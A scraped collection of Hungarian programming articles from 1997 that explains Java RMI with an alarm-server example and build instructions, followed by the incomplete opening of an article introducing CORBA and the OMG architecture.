Jávában Forrás: http://www.doksihu if (socket != null) socket.close(); } catch (IOException e) {}; } } Kiss István updated: 97/05/01, http://www.eunethu/infopen/cikkek/java/networkhtml file:///E|/docs/Untitled/network.html (13 of 13)20040118 3:01:05 Elosztott rendszerek programozása Jávában Forrás: http://www.doksihu Elosztott rendszerek programozása Jávában Tartalomjegyzék: Távoli módszerhívás Csonkok és csontvázak Paraméterátadás Kliens és szerver egymásra találása Hibakezelés Példaprogram Interfészek Kiszolgáló implementációja Ügyfél Fordítás és futtatás Összegzés A számítógép-hálózatok rohamos terjedésével a hálózattal összekapcsolt számítógépekbõl álló rendszerek egyre népszerûbbek, hiszen lehetõvé teszik a rendszer erõforrásainak szélesebb körû megosztását (resource sharing), a rendszer megbízhatóságának (reliability) illetve teljesítményének növelését, valamint a felhasználók egymás közti
üzenetváltásait. Elosztottnak (distributed) az irodalom olyan - ún. lazán csatolt, hálózattal összekötött - rendszert nevez, amelynek felhasználója elõl a lehetõ legnagyobb mértékben rejtve marad az, hogy a rendszer nem egyetlen központi számítógépbõl áll. Programozók szempontjából elosztott egy rendszer, ha a lehetõ legkevésbé kell a hálózati protokollok, kommunikáció programozásával törõdnie. A Jáva nyelvnek már a megjelenésénél is hangoztatott, kiemelt tulajdonsága az "elosztottság" volt. Sajnos ez a az elsõ nyilvános verzióban, a JDK 10-ban még inkább csak ígéretnek bizonyult. A korai könyvtárak támogatták ugyan a szállítási szintû hálózati kommunikáció egyszerû programozását - mint ahogy azt pl. a múlt havi cikkben is láthattuk -, azonban az alkalmazások erre épülõ protokollját már külön kellett beprogramozni. Az 1997. januárjában megjelent új Jáva alap-környezet, a JDK (Java Development
Kit) 11-es változata az RMI könyvtár megvalósításával jelentõs újításokat hozott ezen a téren. Távoli módszerhívás file:///E|/docs/Untitled/rmi.html (1 of 14)20040118 3:01:06 Elosztott rendszerek programozása Jávában Forrás: http://www.doksihu Az elosztott rendszerek programozására korábban kialakult egyik módszer az ún. távoli eljáráshívás (RPC, Remote Procedure Call). Itt a programozó a fejlesztése során egy processzoros rendszerben gondolkozik, ahol egyszerû eljáráshívással valósítja meg a program részei között a kommunikációt. A fejlesztés egy késõbbi lépésében szétválaszthatja a hívó és hívott eljárásokat, más-más számítógépre telepítve azokat. A felhasznált rendszerkönyvtárak biztosítják, hogy a hálózaton keresztül is az eljáráshívás, a paraméterek átadása és átvétele automatikusan, a programozó elõl "rejtetten" történjen meg. Objektumorientált programokban nem globális
eljárásokat, hanem objektumok módszereit hívjuk, ezért távoli eljáráshívás helyett itt távoli módszerhívásról (RMI, Remote Method Invocation) beszélhetünk. Csonkok és csontvázak Egy processzoros rendszerben a kliens objektumok a szerver objektumok osztályában definiált nyilvános módszereket hívhatják meg. A paraméterek átadásáról a virtuális gép gondoskodik Távoli módszerhívásnál a kliens és a szerver objektum különbözõ számítógépre kerül. Így a kliens közvetlenül nem tudja a szerver valamelyik módszerét meghívni. A hívási láncban a kliens oldalán egy objektum csonk (stub) kerül, amely rendelkezik a szerver objektum minden nyilvános módszerével. A csonk feladata, hogy a módszerek paramétereit "becsomagolja" és a hálózaton keresztül eljuttassa a szerver számítógépre. Itt a távoli hívást egy ún szerver csontváz (skeleton) várja, amely fogadja a kérést, elveszi a paramétereket és meghívja az
eredeti szerver objektum megfelelõ módszerét. Amikor a módszer lefutott, a lefutás tényérõl, valamint az esetleges visszaadott értékekrõl, bekövetkezett kivételekrõl a várakozó kliens ugyancsak a csontváz-csonk kapcsolat segítségével értesül. Az RMI-ben az a szép, hogy a csonk és a csontváz automatikusan keletkezik, nem kell külön programoznunk. Ehhez mindössze egy interfészben - amely a javarmiRemote interfészt bõvíti definiálnunk kell a szerver objektum távolról hívható módszereit, majd ezeket a módszereket egy osztállyal - a szerverrel - implementálnunk kell. A lefordított class állományból az rmic program generálja mind a csonk, mind a csontváz program lefordított kódját. file:///E|/docs/Untitled/rmi.html (2 of 14)20040118 3:01:06 Elosztott rendszerek programozása Jávában Forrás: http://www.doksihu Paraméterátadás A módszerek legtöbbje paraméterekkel is rendelkezik, sõt esetleg visszatérési értéket is hordozhat.
Helyi módszerhívásoknál a paraméterátadás nem jelenet gondot, pontosabban a programozási nyelv rejtett mechanizmusai, a Jáva virtuális gép gondoskodik róla. Sokkal problematikusabb a paraméterátadás megvalósítása a hálózaton keresztül. Például gondoljuk meg, hogy a Jáva objektumaira mindig referencia hivatkozik, ezt a referenciát - ha úgy tetszik, memóriacímet - viszont nem lehet egyszerûen átküldeni a hálózaton, mert ugyanaz a cím a másik számítógépen nem fog ugyanarra az objektumra hivatkozni. A távoli eljáráshívások (RPC) legnagyobb problémája az összetett adatszerkezetek hálózaton keresztüli átvitele. Leggyakrabban az átvihetõ adatszerkezetek szigorú korlátozásával, a programtól független specifikációjával segítik a paraméterátadást. A Jáva egyszerûbb, egységesebb szerkezete, a referenciák következetes, kizárólagos használata, no meg a Jáva virtuális gép tulajdonságai miatt az RMI-nél a
paraméterátadás, legalábbis a programozó számára nem jelent semmiféle korlátozásokat. Távoli módszereink tetszõleges paraméterekkel rendelkezhetnek, a paraméterátadás alapvetõen az objektum másolatának átadásával történik. A csonk az átadandó objektum állapotát (tagváltozóinak értékét) átalakítja a hálózaton átvihetõ, ún. soros reprezentációvá, amelyet a másik oldal, a csontváz visszaalakít, létrehozva a szerver oldalon egy lokális objektumot, majd erre utaló hivatkozást ad tovább a szerver módszer törzsének. Amennyiben paraméterként beépített Jáva adattípusokat, vagy a JDK könyvtárak osztályait használjuk, semmi extra teendõnk nincsen, a sorosítás-visszaalakítás (serialization-deserialization) automatikusan megtörténik. Ha paraméterként saját osztályaink példányait is használni akarjuk, akkor ezeknek az osztályoknak implementálniuk kell a JDK 1.1-ben újonnan megjelent javaioSerializable interfészt
Szerencsére ez az interfész csak opcionálisan megvalósítandó módszereket tartalmaz, legtöbbször elegendõ az osztály fejében leírnunk, hogy class myClass implements java.ioSerializable Megjegyzés: a sorosítás támogatása a JDK 1.1-nek ugyancsak új tulajdonsága, amely a távoli módszerhíváson túl például objektumok állományokban tárolására, egyfajta perzisztencia megvalósítására is használható. Sajnos a cikk terjedelmi korlátai miatt ezzel a könyvtárral jelenleg részletesebben nem foglalkozhatok. A paraméterátadásnál érdekes eset, amikor egy olyan objektumra hivatkozást akarunk átadni, amely maga is távolról hívható módszerekkel rendelkezik. Ilyenkor a kiszolgáló oldalra az objektum másolata helyett egy csonk kerül csak át, amely segítségével a kiszolgáló - immár "ügyfélként" viselkedve visszahívhatja ezt a távoli objektumot. file:///E|/docs/Untitled/rmi.html (3 of 14)20040118 3:01:06 Elosztott rendszerek
programozása Jávában Forrás: http://www.doksihu Kliens és szerver egymásra találása A távoli módszerhívásnál némi bonyodalmat jelent a kliens és a szerver egymásra találása. Egy gépes esetben ez statikusan, a fordítóprogram vagy Jáva esetén az osztály betöltõ (class loader) segítségével megtörténik, elosztott rendszerben viszont futás közben, egy speciális "tudakozó" szolgáltatás segítségével jön létre. A kiszolgáló oldalán található, távolról hívható objektumokat létrejöttükkor be kell jelenteni - regisztráltatni - kell tudakozónak. Az ügyfél a távoli számítógépre és az azon található kiszolgáló objektum nevére hivatkozva a tudakozótól kapja meg azt a csonkot, amely a távoli módszerhívást majd lebonyolítja. A csonk módszereit meghívva már közvetlenül a kiválasztott kiszolgáló objektummal kommunikálhatunk. Hibakezelés Sajnos a hálózati kommunikáció közben a hálózati protokollok
minden ügyessége ellenére sok olyan hiba történhet, amely lokális módszerhívások esetén nem fordulhat elõ. Ezen hibákat a programból illene kezelni. A Jáva kivételkezelõ mechanizmusa kézenfekvõ módszert nyújt a váratlan hibák kezelésére Minden távolról meghívható módszer elõállíthat java.rmiRemoteException kivételt, amelyet a hívó vagy elkap és kezel, vagy majd a hívó környezetre foglalkozik vele, mindenesetre észrevétlen nem maradhat. Példaprogram A távoli módszerhívást illusztráló példaprogram bonyolultabb, mint a "Halló világ!" ügyfél-kiszolgáló környezetre adaptált változata. Természetesen az én példámnak sincs sokkal több "értelme", mégis bonyolultabb, aszinkron kommunikációt illusztrál. A példa szerverünk egy telefonos ébresztõ szolgáltatásra hasonlít. Az ügyfelek a kiszolgálónak bejelenthetik, hogy mikor - esetünkben hány milliszekundum múlva - kérnek ébresztést, a szerver
megjegyzi az igényeket és a kívánt idõ eltelte után visszahívja az egyes klienseket. A kommunikáció attól aszinkron, hogy a kliens az igénye bejelentése után nem kell, hogy tényleg "aludjon", azaz várakozzon, hanem tetszõleges tevékenységet végezhet, ébresztéskor a kiszolgáló az ügyfél egy módszerét hívja majd vissza. Interfészek Elsõ lépésként a távoli módszereket leíró interfészeket kell definiálnunk. Figyelem, itt mindkét oldal távolról meghívható eljárásokat tartalmaz: a kiszolgáló az ébresztés kérést, az ügyfél a visszahívást. Tehát két interfészt definiálunk. A programunk összes objektumát egy alarm nevû pakkba fogjuk össze Az ébresztõ szolgáltatás távolról hívható módszerének leírása (AlarmServer.java): file:///E|/docs/Untitled/rmi.html (4 of 14)20040118 3:01:06 Elosztott rendszerek programozása Jávában Forrás: http://www.doksihu package alarm; public interface AlarmServer extends
java.rmiRemote { public void alarm(AlarmClient client, long sleepInMillis) throws java.rmiRemoteException; } Az ügyfél megadja a várakozás hosszán túl azt az objektumot, például saját magát, amely módszerét - a wakeup()-ot, ld. lentebb - kell majd visszahívni Az ébresztést kérõ objektum távolról hívható módszerének leírása (AlarmClient.java): package alarm; public interface AlarmClient extends java.rmiRemote { public void wakeup() throws java.rmiRemoteException; } Látható, hogy mindkét interfész a java.rmiRemote-ot bõvíti, minden módszer lenyomatában szerepel az esetleg elõálló java.rmiRemoteException kivétel Kiszolgáló implementációja Következõ lépésként valósítsuk meg a kiszolgálót (AlarmServerImpl.java) A feladatunk az file:///E|/docs/Untitled/rmi.html (5 of 14)20040118 3:01:06 Elosztott rendszerek programozása Jávában Forrás: http://www.doksihu objektumorientált tervezési módszertanban jól ismert - a politikai
nyelvezetben kissé rosszul hangzó, 3/3as ízû - ún. megfigyelõ-megfigyelt (observer-observable) tervezési minta egyszerû változata A minta lényege, hogy a rendszerben fontos - megfigyelt - eseményekhez egy kiszolgáló objektumot rendelünk. Az egyes megfigyelõk regisztrálják magukat a kiszolgálónál, amely az esemény bekövetkeztekor azok mindegyikét értesíti egy megadott módszerük megadásánál. Mellesleg a Jáva környezet támogatja ezt a tervezési mintát (java.utilObservable osztály és javautil Observer interfész), de itt ezt a feladat egyszerûsége és terjedelmi korlátok miatt nem használom. A minta teljes implementációjánál a kiszolgáló legalább két módszert definiál, amely segítségével megfigyelõ objektumok regisztrálhatják magukat (addObserver), illetve visszaléphetnek (deleteObserver), a kiszolgáló dinamikus adatszerkezetben tárolja az éppen regisztrált megfigyelõket. Mivel a példánkban az egyes megfigyelõk, azaz az
ébresztésre váró folyamatok csak egyetlen eseményre várnak, visszalépésre nincs szükség, az ébresztés után a szerver megfeledkezik róluk. package alarm; import java.rmi*; import java.rmiserverUnicastRemoteObject; A kiszolgálót implementáló osztálynak egy speciális osztályból, a java.rmiserverUnicastRemoteObjectbõl kell leszármaznia és természetesen meg kell valósítania a távoli hívások interfészét public class AlarmServerImpl extends UnicastRemoteObject implements AlarmServer { private String name; A konstruktor érdekessége, hogy a szülõ osztály konstruktora miatt esetleg java.rmiRemoteException kivételt okozhat. AlarmServerImpl(String s) file:///E|/docs/Untitled/rmi.html (6 of 14)20040118 3:01:06 Elosztott rendszerek programozása Jávában Forrás: http://www.doksihu throws java.rmiRemoteException { super(); name = s; } Az ébresztés kérést nagyon egyszerûen implementálom, minden kéréshez új ébresztõórát (AlarmClock)
készítek. Az ébresztõóra megkapja az ébresztendõ objektum hivatkozását A beállított idõ lejárta után erre az ébresztõórára a program nem fog hivatkozni többé, tehát a Jáva szemétgyûjtése automatikusan megszabadul tõle. public void alarm(AlarmClient client, long sleepInMillis) throws java.rmiRemoteException { new AlarmClock(client, sleepInMillis); } Az ébresztõ kiszolgáló program elõször egy új, a távoli módszerhívások védelmére szolgáló biztonsági menedzsert telepít. Eztán létrehoz egy kiszolgáló példányt, majd ezt a tudakozónál regisztráltatja (Naming.rebind) Az összes hibát az egyszerûség kedvéért egy helyen kapjuk el és kiírjuk csupán public static void main(String[] args) { System.setSecurityManager(new RMISecurityManager()); try { AlarmServerImpl server = file:///E|/docs/Untitled/rmi.html (7 of 14)20040118 3:01:06 Elosztott rendszerek programozása Jávában Forrás: http://www.doksihu new
AlarmServerImpl("AlarmServer"); Naming.rebind("AlarmServer", server); } catch (Exception e) { System.outprintln("AlarmServer: an exception occurred!"); e.printStackTrace(); } } } Itt következik az ébresztõóránk implementációja. Az objektum konstruktora megjegyzi az ébresztendõ objektumot és a várakozás idejét, majd létrehoz és elindít egy párhuzamos szálat. class AlarmClock implements Runnable { AlarmClient client; long sleepInMillis; Thread clock; AlarmClock (AlarmClient client, long sleepInMillis) { this.client = client; this.sleepInMillis = sleepInMillis; file:///E|/docs/Untitled/rmi.html (8 of 14)20040118 3:01:06 Elosztott rendszerek programozása Jávában Forrás: http://www.doksihu clock = new Thread(this); clock.start(); } A párhuzamos szál tevékenysége is nagyon egyszerû, csak alszik a megadott ideig, majd visszahívja az ébresztendõ objektum wakeup módszerét. Igaz, hogy a távoli hívásnál hiba is elõállhat,
ám itt nem nagyon tudunk vele mit kezdeni: feltehetõleg megszakadt a kapcsolat, egyszerûen úgy vesszük, mintha az ébresztés megtörtént volna. Tudom, hogy ez nem hangzik túl barátságosan, de ne felejtsük el, hogy a távoli módszerhívást megvalósító hálózati protokollok már mindent megtettek azért, hogy felvegyék a távoli objektummal a kapcsolatot. Ha nekik sem sikerült, nekem sincs jobb ötletem! public void run() { try { clock.sleep(sleepInMillis); } catch (InterruptedException e) {}; try { client.wakeup(); } catch (RemoteException e) {}; } } Ügyfél Kiszolgálónk kipróbálására készítsünk egyszerû ügyfelet (AlarmApplet.java) Programkát írunk, azaz a kódot egy böngészõ letöltheti és futtathatja. Természetesen írhattunk volna önálló programot is, de a programka jobban illusztrálja a Jáva lehetõségeit: az ügyfél programunk egyszerû Web szerverrõl bárhova letölthetõ és futtatható. Sajnos jelenleg még csak nagyon kevés
elterjedt böngészõ, pontosabban csak a Sun HotJava böngészõjének legutóbbi próba változata, illetve a JDK-val érkezõ "böngészõpótló", az appletviewer támogatja a JDK 1.1-et, de hamarosan mind a Netscape, mind a Microsoft is file:///E|/docs/Untitled/rmi.html (9 of 14)20040118 3:01:06 Elosztott rendszerek programozása Jávában Forrás: http://www.doksihu támogatni fogja. package alarm; import java.awt*; import java.applet*; import java.rmi*; import java.rmiserver*; public class AlarmApplet extends Applet implements AlarmClient { String message; public void init() { A programka kódjában csak egyetlen csavar van: mivel egy távoli módszert kell meghívnia ezért elõbb meg kell az érintett objektumot találnia. A Naminglookup hívás szolgál erre, amelynek paramétereként megadjuk azt a Web kiszolgálót (getCodeBase().getHost()), ahonnan maga a programka letöltõdött, valamint az ébresztõ szolgáltatás nevét (AlarmServer). Arról se
feledkezzünk el, hogy bár ez programka, de önmaga is távolról hívható módszert definiál, tehát saját magát is regisztráltatni kell, ez történik az exportObject hívással. try { AlarmServer server = (AlarmServer)Naming.lookup("//" + getCodeBase().getHost() + "/AlarmServer"); file:///E|/docs/Untitled/rmi.html (10 of 14)20040118 3:01:06 Elosztott rendszerek programozása Jávában Forrás: http://www.doksihu UnicastRemoteObject.exportObject(this); Ezek után nincs más dolgunk, mint hogy egy tájékoztató üzenetet írjunk ki, pontosabban helyezzünk el egy egyedváltozóban, majd a paint kiírja. Majd meghívjuk az ébresztõ szolgáltatást 10 másodperces idõzítéssel. Az összes hibát itt is egyszerre kezeljük, kiírva a hibaüzenetet message = "Im sleeping!"; server.alarm(this, 10000); } catch (Exception e) { message = "AlarmApplet exception: " + e.getMessage(); } } A programka paint módszere simán kiírja az
aktuális, tárolt szöveget a programka ablakába. public void paint(Graphics g) { g.drawString(message, 25, 50); } Az ébresztéskor meghívott módszer sem túl bonyolult, egyszerûen kicseréli a kijelzett szöveget és kezdeményezi a képernyõ frissítését. public void wakeup() { file:///E|/docs/Untitled/rmi.html (11 of 14)20040118 3:01:06 Elosztott rendszerek programozása Jávában Forrás: http://www.doksihu message = "Im awakened!"; repaint(); } } A programkánkhoz tartozik egy HTML lap is (Alarm.html, sajnos itt nem próbálható ki, a kiszolgáló ugyanis nem fut), amely segítségével ez letölthetõ: <HTML> <HEAD> <TITLE>Testing Alarm Server</TITLE> </HEAD> <BODY> <H2 align=center>Testing RMI Alarm Server</H2> <CENTER> <APPLET CODEBASE="." CODE="alarmAlarmApplet" WIDTH=300 HEIGHT=100> </APPLET> </CENTER> </BODY> </HTML>
file:///E|/docs/Untitled/rmi.html (12 of 14)20040118 3:01:06 Elosztott rendszerek programozása Jávában Forrás: http://www.doksihu Fordítás és futtatás Eddig 4 Jáva forrásállományt és egy HTML lapot írtunk. Mivel ezeket egy alarm nevû pakkba helyeztük, a forrásállományokat is tegyük egy alarm nevû könyvtárba. Elsõ lépésként fordítsuk le Jáva forrásokat. Az itt közölt parancsállomány Windows 95 környezetben, helyesen telepített JDK 1.1-es környezettel mûködnek set ORIGCLASSPATH=%CLASSPATH% set CLASSPATH=.;%CLASSPATH% Az eredeti CLASSPATH változót elmentjük és az aktuális könyvtár (ezt alarm-nak hívjuk) szülõjét hozzácsapjuk az eredetihez. javac -d . *.java A sikeres fordítás után az eredményül kapott class állományokból a csonk és a csontváz létrehozása történik meg. rmic -d . alarmAlarmServerImpl alarmAlarmApplet Következõ lépésként - ha még nem futna - a tudakozót, majd az ébresztõ kiszolgálót
indítjuk. start rmiregistry start java alarm.AlarmServerImpl Távoli géprõl kipróbálva a böngészõt kellene indítanunk a http://saját-szerverünk/valahol/alarm/Alarm. html URL-lel. Kipróbálhatjuk a helyi gépünkön is, mivel a Windows 95 is több párhuzamos tevékenységet képes egyidejûleg futtatni. Az appletviewer indítása elõtt visszaállítjuk az eredeti CLASSPATH változót, hogy a böngészõnk a szükséges osztályokat a "hálózaton" keresztül töltse le. file:///E|/docs/Untitled/rmi.html (13 of 14)20040118 3:01:06 Elosztott rendszerek programozása Jávában Forrás: http://www.doksihu set CLASSPATH=%ORIGCLASSPATH% appletviewer Alarm.html Összegzés A példaprogramunk ugyan egyszerû, de ne feledjük el, hogy azért teljes ügyfél-kiszolgáló rendszert valósítottunk meg anélkül, hogy a hálózati kommunikációval törõdnünk kellett volna. A megoldásunk egyetlen "hátránya" - már aki ezt annak tekinti -, hogy csak
Jávában megírt objektumok képesek egymással kommunikálni. Azonban ez sem igaz sokáig, mostanában jelenik meg egy nagyon hasonló technológia Jáva szintû támogatása: az Object Management Group (OMG) által elfogadott, ipari szabványnak tekinthetõ Common Object Request Broker Architecture (CORBA) 2.0-s változatához illeszkedõ objektumokat írhatunk. Ezek aztán bármilyen CORBA kompatíbilis objektumot hívhatunk, sõt azok is hívhatnak minket, a többi objektum akár más nyelveken is íródhatott. Hamarosan ezt az RMI-nél sokkal flexibilisebb rendszert is támogatja a JDK, illetve a böngészõk. Kiss István updated: 97/05/04, http://www.eunethu/infopen/cikkek/java/rmihtml file:///E|/docs/Untitled/rmi.html (14 of 14)20040118 3:01:06 A CORBA technológia Forrás: http://www.doksihu A CORBA technológia Az objektumorientált technológia az elmúlt évtizedben a számítástechnika, informatika legjelentôsebb területévé nôtte ki magát. Objektumorientált
módszereket alkalmaznak az üzleti életben, a hardverfejlesztéseknél, a szoftverek gyártásánál, a játékprogramok írásánál, a különféle alkalmazásokban. Új sorozatunkban ezen paradigma aktuális helyzetével, fogalmaival, fejlôdési irányaival, eredményeivel foglalkozunk. Az objektumorientált világban ma (természetes módon) több irányzat létezik, ugyanakkor egységes szabvány még nincs. A heterogenitás a számítógépes alkalmazások alapvetô jellemzôje, hiszen ezen alkalmazásokat különbözô körülmények között, különbözô nyelveken, különbözô hardver- és szoftverplatformokon fejlesztik. Ugyanakkor természetes az igény, hogy a különbözô alkalmazások elérhessék egymás információit, közösen használhassanak komplex adatszerkezeteket, hivatkozhassanak egymás szolgáltatásaira. A nyílt rendszerek és az objektumorientált technológia ehhez igen jó kereteket és lehetôségeket nyújt. OMG Az objektumorientált szabványok
hiánya hívta életre 1989-ben azt a szervezetet, melynek neve Object Management Group (OMG). Alapító tagjai ismert számítógépes cégek voltak (IBM, ICL, DEC, SunSoft, BNR Europe, Expersoft, Iona Technologies, Novell, HyperDesk, NCR, Hewlett-Packard, Object Design). Jelenleg több mint 500 tagja van a kis és nagy hardver- és szoftvercégektôl a bankokon, telekommunikációs társaságokon át az ipari vállalatokig. Az OMG ma egy nemzetközi konzorcium, amelynek célja, hogy · elôsegítse az objektumorientált szemlélet általánossá válását a szoftvertervezésben; · kifejlesszen egy általános modellt és egy általános interfészt, amelyet objektumorientált technológiát alkalmazó nagyméretû, nyílt elosztott alkalmazások fejlesztésénél és mûködtetésénél lehet alkalmazni. Az OMG nem egy szabványt elôállító csoport, az általa kidolgozott elvek viszont egységes fejlesztést tesznek lehetôvé. Az OMG technológia középpontjában az
általános referenciamodell áll, melynek neve: Object Management Architecture (OMA). Egy OMA-elvek alapján megírt alkalmazás együttmûködô osztályok és objektumok együttese, amelyek egymást az Object Request Broker (ORB) segítségével érhetik el. file:///E|/docs/Untitled/c14.htm (1 of 6)20040118 3:01:06 A CORBA technológia Forrás: http://www.doksihu Az ORB egy Æszoftverbusz", amely lehetôvé teszi, hogy az objektumok kérdéseket (üzeneteket) küldhessenek, fogadhassanak és válaszolhassanak azokra. Egy elosztott rendszerben minden alkalmazás és szolgáltatás objektumnak tekinthetô. Az objektumok a következô kategóriákba sorolhatók: · objektumszolgáltatások (object services): azon objektumok tartoznak ide, amelyek biztosítják az összes kategória objektumainak létrehozásához és kezeléséhez szükséges alapvetô szolgáltatásokat; · általános eszközök (common facilities): azon objektumok, amelyek bármely alkalmazásban
használhatók; · alkalmazói objektumok (application objects): az egyes egyedi alkalmazások objektumai. Általánosságban elmondható, hogy az alkalmazói objektumok és az általános eszközök alkalmazásorientáltak, míg az ORB és az objektumszolgáltatások jóval inkább rendszerfüggôek. Az általános eszközök lehetnek magas szintû szolgáltatások (mint pl. tranzakciók), amelyek az objektumszolgáltatások primitívjeibôl épülnek föl. Mindhárom kategória objektumai az ORB-n keresztül kommunikálnak egymással. Az objektumok természetesen igénybe vehetnek nem objektumszolgáltatásokat is, de ez kívül esik az OMA hatáskörén. Az OMG munkája négy csomópont köré szervezôdik, ezek: · az ORB definiálása; · az objektumszolgáltatások és általános eszközök definiálása; · egy objektum-magmodell definiálása; · konszenzusteremtés az OMG tagjaiból álló alcsoportok elképzelései között az analízis és tervezés módszertani kérdéseit
illetôen. A továbbiakban az elsô kérdéskörbe tartozó Common Request Broker Architecture (Corba) technológiával foglalkozunk. Mi is a Corba? A fejlesztôk a Corbát egy kliens-szerver hálózaton mûködô alkalmazások elosztására tudják felhasználni úgy, hogy az alkalmazások platformtól és hálózattól függetlenül mûködjenek. A Corba mögött ott van egy ORB, amely közvetíti a kérdéseket és a válaszokat a különbözô objektumok között. Az ORB a file:///E|/docs/Untitled/c14.htm (2 of 6)20040118 3:01:06 A CORBA technológia Forrás: http://www.doksihu hoston helyezkedik el, az adat és az alkalmazási réteg között (valahol a 7-es réteg alatt az OSI modellben). A Corba célja az, hogy könnyebbé tegye a programozást és hordozhatóvá az alkalmazásokat. A fejlesztôk kezébe egy szabványosított eszközkészlet kerül, amely lehetôvé teszi különbözô adatbázisok és állományok elérését akárhány gépen. Az interfész azonos,
szabványos, ezért az alkalmazások könnyen integrálhatók. Alapelvek A technológia két igen elterjedt paradigmát egyesít: az elosztott kliens-szerver és objektumorientált programozás módszertanokat. A Corba objektumok az ORB segítségével létesíthetnek kapcsolatot egymással, méghozzá az OMG által definiált objektumadapteren (object adapter) keresztül. Az objektumadapter teszi lehetôvé egy ORB szolgáltatásainak igénybevételét, az ORB viszont rajta keresztül hívhatja meg az objektumok módszereit, hozhat létre vagy törölhet objektumokat, az objektumadapter feladata a biztonságról való gondoskodás is. Az ORB rajta keresztül tud hivatkozni az objektumaira. Az alkalmazások mint kliensek szintén az ORB-n keresztül létesíthetnek kapcsolatot a Corba objektumokkal. Az együttmûködést objektumorientált távoli eljárás hívásokkal biztosítja Robusztusabbra és egyszerûbbre tervezték a Corbát, mint a szokásos távoli eljárás hívásokat.
Ezt úgy érték el, hogy egy újabb réteget illesztettek be az adatok (adatbázisok) és a kliens alkalmazások közé. Az adatok így szeparáltak és függetlenek az alkalmazásoktól. A fejlesztô az adatokra vonatkozó kérdést a Corba objektumoknak küldi el, az ORB kezeli ezeket az üzeneteket, küldi el ôket az objektumdefiníciók alapján a megfelelô objektumoknak, és közvetíti vissza a választ. Az objektumorientált módszertan megjelenése a Corba technológiában teljesen kézenfekvô és szükségszerû. Öröklôdésen itt az interfészek öröklôdését értjük A bezárás úgy jelenik meg, hogy a kliens alkalmazások semmit sem tudnak azokról az adatokról, amelyeket el akarnak érni. A polimorfizmus azt jelenti, hogy az ORB független objektumokat hoz létre, amelyek az alkalmazásokban újradefiniálhatók. A Corba biztosítja a hostok transzparenciáját is. Az ORB különbözô gépeken elhelyezett különbözô Corba objektumok elérését teszi
lehetôvé. Ha egy kliens alkalmazás fut egy hoston, akkor az ORB-n keresztül el tud érni bárhol elhelyezett adatokat. Mibõl épül fel? A következô fôbb architektúra-elemekbôl áll: · egy specifikációs nyelvbôl, az ún. IDL-bôl (Interface Definition Language), amely az interfészek file:///E|/docs/Untitled/c14.htm (3 of 6)20040118 3:01:06 A CORBA technológia Forrás: http://www.doksihu programozási nyelvtôl független specifikálására való; · egy interfésztárolóból (IR), amelyben az adott elosztott rendszer összes objektumának interfészei megtalálhatók; · egy dinamikus run-time rendszerbôl, az ún. DII-bôl (Dynamic Invocation Interface), amely lehetôvé teszi az objektumok használatát, az IR-ben tárolt interfészek elérését, üzenetek konstruálását és elküldését; · egy absztrakciós mechanizmusból, az ún. OA-ból (Object Adapter), melynek segítségével az objektumhivatkozások leképezhetôk az implementációkra. IDL Az
objektumspecifikáció részben az objektum interfész-specifikációt, részben az implementációt jelenti. Az interfész-specifikáció készül IDL-ben. Minden objektum IDL interfésze teszi képessé az adott objektumot arra, hogy a rendszer egyéb részeivel kommunikálni tudjon. A Corba modellben az RPC implementálásának eszközei a csonkok és a csatlakozók. A csonk a kliens folyamat, a csatlakozó a szerver folyamat részére készül. Ezek nem mások, mint lefordított IDL specifikációk. A csonkok és csatlakozók biztosítják az adott folyamatok konzisztens együttmûködését, a paraméterátadást. Az IDL adott programozási nyelvbe történô adaptálásával keletkeznek, amit az OA végez el. A Corba objektum interfész része minden esetben az IDL-en keresztül definiálható és képezhetô le egy konkrét nyelvre. Ez a definíció tartalmazza a módszereket és a paramétereket, amelyek szûkebb értelemben véve alkotják az objektum interfészét. Az IDL
segítségével tudja a szerver közölni a klienssel, hogy milyen mûveletei elérhetôk, hol vannak azok, és hogyan lehet rájuk hivatkozni. Az IDL egy objektumspecifikációs nyelv a C++ szintaktikai és szemantikai szabályaival megegyezô szabályrendszerrel és C++ elôfeldolgozóval. Az IDL írja le a kliens objektum interfész részét, amelyet az implementációhoz való hozzáférésnél használ föl. Az IDL teszi lehetôvé azt is, hogy kezelni tudjuk azon információkat, amelyek egy olyan kliens kifejlesztéséhez szükségesek, amelyik az adott objektum interfészmûveleteit akarja használni. Az IDL több nyelvre leképezhetô: az említett C++-on túl például Cre, Smalltalkra, Ada95-re Napjainkban pedig elôtérbe került a Java mint célnyelv Dinamikus run-time interfész A DII azt teszi lehetôvé, hogy a Corba objektumok a futási idô megkezdéséig ne is tudjanak azokról az objektumokról, amelyeket majd használni fognak. Ezen objektumokkal az ORB teremti meg
a kapcsolatot. Az interfész szerver oldali részének az elnevezése Dynamic Skeleton Interface (DSI) file:///E|/docs/Untitled/c14.htm (4 of 6)20040118 3:01:06 A CORBA technológia Forrás: http://www.doksihu A DII szemantikája megfelel az IDL leírásoknak. Egy kliens objektum generál egy futási idejû kérést, azt elküldi a kiválasztott objektumnak, átadva a szükséges paramétereket. A paramétereket egy irányban láncolt listaként kezeli a rendszer, és futás idejû típusellenôrzést hajt végre rajtuk. Az ORB a DSI-t használja föl a kérés eljuttatására ahhoz az objektumhoz, amely fordítási idôben még semmit sem tud saját implementációjáról. A DSI ebben az értelemben megfelel egy típusspecifikus IDL csatlakozónak. Mûködési folyamat Az ORB a Corba architektúrában a közvetítô szerepét játssza. Ô az, aki az egyes objektumok interfészeit ismeri. Egy adott objektum IDL leírásai az interfésztárban találhatók, az egyéb, esetleg más
gépeken elhelyezett objektumok elérhetôségét viszont csak az ORB ismeri. Ha kérés érkezik, akkor az ORB megpróbálja a kérdéses objektumot megkeresni az interfésztárban. Amennyiben sikerül, akkor az implementációs táron keresztül el tudja juttatni az üzenetet a célobjektumhoz. Ha az adott objektum vagy a szervere nem aktív, akkor az ORB megkeresi az implementációs tárban vagy egy adatbázisban, hogy a megszólított objektumot hol és hogyan lehet elindítani. Ha megtalálta az információkat, akkor aktivizálja az objektumot, és elküldi neki az eredeti üzenetet. Amennyiben ezt nem tudja megtenni, vagy nem ismeri fel a megszólított objektumot, az ORB megfelelô hibaüzenetet küld vissza a kérést elindító kliens objektumnak. Az ORB leveszi a fejlesztôk válláról az elosztott rendszerek alacsony szintû programozásának terheit. Ezek után nem kell az alacsony szintû RPC rutinok megírásával és tesztelésével törôdniük. Egyszerûen be kell
